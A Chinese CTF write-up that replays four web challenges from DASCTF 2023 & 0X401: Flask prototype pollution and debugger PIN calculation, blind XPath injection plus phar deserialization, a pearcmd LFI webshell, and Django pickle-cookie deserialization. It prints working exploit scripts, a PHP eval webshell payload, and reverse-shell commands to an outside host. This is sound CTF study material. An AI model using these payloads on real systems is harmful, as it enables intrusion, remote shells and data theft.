DASCTF 2023 & 0X401七月暑期挑战赛-web复现

发布时间 2023-11-29 20:05:48作者: Eddie_Murphy

别问为什么不复现十一月的那个比赛,因为不会wwwww。

EzFlask

进去就有源码了,先cv到编辑规范看一下:

import uuid
from flask import Flask, request, session, json
from secret import black_list

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class User():
    def __init__(self):
        self.username = ""
        self.password = ""

    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register', methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            new_user = User()
            merge(data, new_user)
            Users.append(new_user)
            return "Register Success"
        except Exception:
            return "Register Failed"
    else:
        return "Register Failed"

@app.route('/login', methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for existing_user in Users:
                if existing_user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
            return "Login Failed"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/', methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

看到了merge(),就想到了原型链污染。

 

推荐看:Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园 (cnblogs.com)

 

这里的register好像有什么过滤,check函数里有个从secret里import的blacklist,但是不知道到底过滤了啥。

所以我们可以直接构造一个JSON格式传进去污染试试,发现__init__被ban掉了。

预期解

虽然不能直接输__init__,但是可以通过__file__来读文件,预期解就是算PIN,六个参数也是常客了,分别是:

# username:可以在任意文件读取下读取/etc/passd进行查看

# modname:默认是flask.app

# appname:默认是Flask

# moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量

# uuidnode mac地址的十进制:任意文件读取/sys/class/net/the0/address,后面转一下

# machine_id:机器码,可以通过读取/etc/machine-id和/proc/self/cgroup拼接得到

譬如:

username:root
modname:flask.app
appname:Flask
moddir:/usr/local/lib/python3.10/site-packages/flask/app.py
uuidnode:173855817367817
machine_id:96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope

然后算PIN(此处sha1加密,而不是旧版的md5):

import hashlib
from itertools import chain
probably_public_bits = [
    'root',         #username
    'flask.app',    #modname
    'Flask',        #appname
    '/usr/local/lib/python3.10/site-packages/flask/app.py'     #moddir
]

private_bits = [
    '173855817367817', #uuidnode
    '96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope'# machine_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

然后进consoleRCE。

非预期解

挺妙的非预期,可以看看提供一下思路。

第一种是直接用__file__读环境变量:

__file__是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。

在您的情况下,模块正在__file__全局名称空间中访问其自己的属性。
{
    "username":"111",
    "password":"222",
    "__class__":{
        "check":{
            "__globals__":{
                "__file__" : "/proc/1/environ"
            }
        }
    }
}

先在注册里污染,然后get直接访问就行:

还有一种叫static静态目录污染:

_static_url_path
这个属性中存放的是flask中静态目录的值,默认该值为static。访问flask下的资源可以采用如http://domain/static/xxx,这样实际上就相当于访问_static_url_path目录下xxx的文件并将该文件内容作为响应内容返回

出自:DASCTF 2023 & 0X401 Web WriteUp - Boogiepop Doesn't Laugh (boogipop.com)

先用unicode编码绕过也能用__init__,然后把_static_folder的值就变成根目录,就可以直接在/static/proc/1/environ读环境变量了:

真的妙。

 

MyPicDisk

XXE盲注+phar反序列化。

首先是个登录,随便试了试username=admin',password=1'进去了,但是给了个alert:

看来另有玄机。

bp抓包看到个hint:

下载下来发现index.php源码:

看到下面这部分就知道,__destruct()处可以RCE。

下面还有个文件上传,很自然想到phar反序列化。

但首先需要session==admin,这里确实没遇到过XXE盲注的东西,算是多了一个见识:

import requests
import time
url ='http://0c24dcff-93b5-45cc-85eb-7f481c672e87.node4.buuoj.cn:81/index.php'


strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        #猜测根节点名称
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        #猜测子节点名称
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)
        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
            "username":payload_username,
            "password":123,
            "submit":"1"
        }
        #
        # payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        #print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)
#003d7628772d6b57fec5f30ccbc82be1

        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

跑出来的密码MD5加密了,所以要去转一下:

然后就是文件上传。

这里有个小过滤,但是问题不大,因为phar文件识别的只是那个__HALT_COMPILER标签不是后缀。

最后传一个todo=md5就能echo,很自然想到把这里作为phar反序列化入口来打,可以命令写文件。

exp:

<?php
class FILE{
    public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>2.txt";
    #这里base64编码命令为:cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
    public $lasttime;
    public $size;
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
}

#获取phar包
$phar = new Phar("abcd.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new FILE();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

 

index.php?file=phar://adcd.jpg&todo=md5

可以先换ls /读目录:

访问写的文件2.txt:

或者反弹shell:

//bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy8zNDU2NiAwPiYx}|{base64,-d}|{bash,-i}'
//base64部分:bash -i >& /dev/tcp/server.natappfree.cc/34566 0>&1

还有另外的做法,可以看看:[DASCTF 2023 & 0X401七月暑期挑战赛] Web方向部分题 详细Writeup-CSDN博客

ez_cms

最近打比赛第一次遇到用pearcmd本地文件包含,这次复现恰好又用上了哈哈~

但是据说开始做还是比较难受的,我也只能跟着复现打wwwww......

靶机用的是熊海CMS的任意文件包含CVE,首先进admin登录,结果用的弱密码,123456就进去了:

借用Boogipop师傅的wp:

我们直接用payload开打:

<url>/admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST['cmd']);?>+../../../../../../../../tmp/shell.php

记得用bp直接传参,这里有个很大的问题,复现了好几次都不成功,如果网页传参或者hackbar会url编码,让内容失效。

然后直接蚁剑连就行,也没涉及到SUID提权:

url:

<url>/admin/index.php?r=../../../../../../../../tmp/shell

 

ez_py

Python Django搭的框架,但是以前没接触过。

源码审计也没找到什么漏洞点,然后看到了settings.py:

"""
Django settings for openlug project.

Generated by 'django-admin startproject' using Django 2.2.5.

For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""

import os

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production non-secret!
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'

# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False

ALLOWED_HOSTS = ["*"]


# Application definition

INSTALLED_APPS = [
    # 'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'app'
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    # we're going to be RESTful in the future,
    # to prevent inconvenience, just turn csrf off.
    # 'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'openlug.wsgi.application'


# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
    }
}


# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators

AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]


# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/

LANGUAGE_CODE = 'zh-Hans'

TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = True


# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/

STATIC_URL = '/static/'

LOGIN_URL = '/'

本来以为就是一个平平无奇的配置文件,但是找到了:

意思就是用了session//cookie,SESSION_SERIALIZER是pickle,还告诉你secret_key,很难不想到pickle反序列化。

默认用的是JSONserialize,但是也可以改成pickle。

借用Boogipop师傅的exp:

import urllib3

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"

import django.core.signing

import pickle

class PickleSerializer(object):
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    def dumps(self, obj):
        return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

    def loads(self, data):
        return pickle.loads(data)


import subprocess
import base64

class Command(object):
    def __reduce__(self):
        return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/xxxx/7777 <&1"',),-1,None,None,None,None,None,False, True))

out_cookie= django.core.signing.dumps(
    Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)

把得到的cookie拿去打auth路径,

注意版本问题,所以反弹shell的exp需要在python3.5环境上运行,不然弹不出来:

恰好最近在学用docker搭环境,这里就顺水推舟用了个docker来拉取python3.5镜像解决这个问题:

docker pull python:3.5

docker run -it --name python35 python:3.5 /bin/bash

root@91bb35a847a6:/# 
apt-get update

apt-get install -y python3-pip

pip install urllib3

apt-get install -y vim

vim exp.py

pip install django

python exp.py
//gASVagAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlCiMPGJhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3Avc2VydmVyLm5hdGFwcGZyZWUuY2MvMzU0MDEgPCYxIpSFlEr_____Tk5OTk6JiHSUUpQu:1r8Ix9:MBgU3Q2aR4eO1U8hZFI0ljA0R1Q

然后就是在登录的时候把cookie发上去,直接反弹shell:

(python3.5环境下exp就能出,但是高版本下,会报SECRET_KEY的错误)

ez_timing(没复现,找不到环境)

但可以看看别人的wp:

2023DASCTF&0X401 WriteUp (qq.com)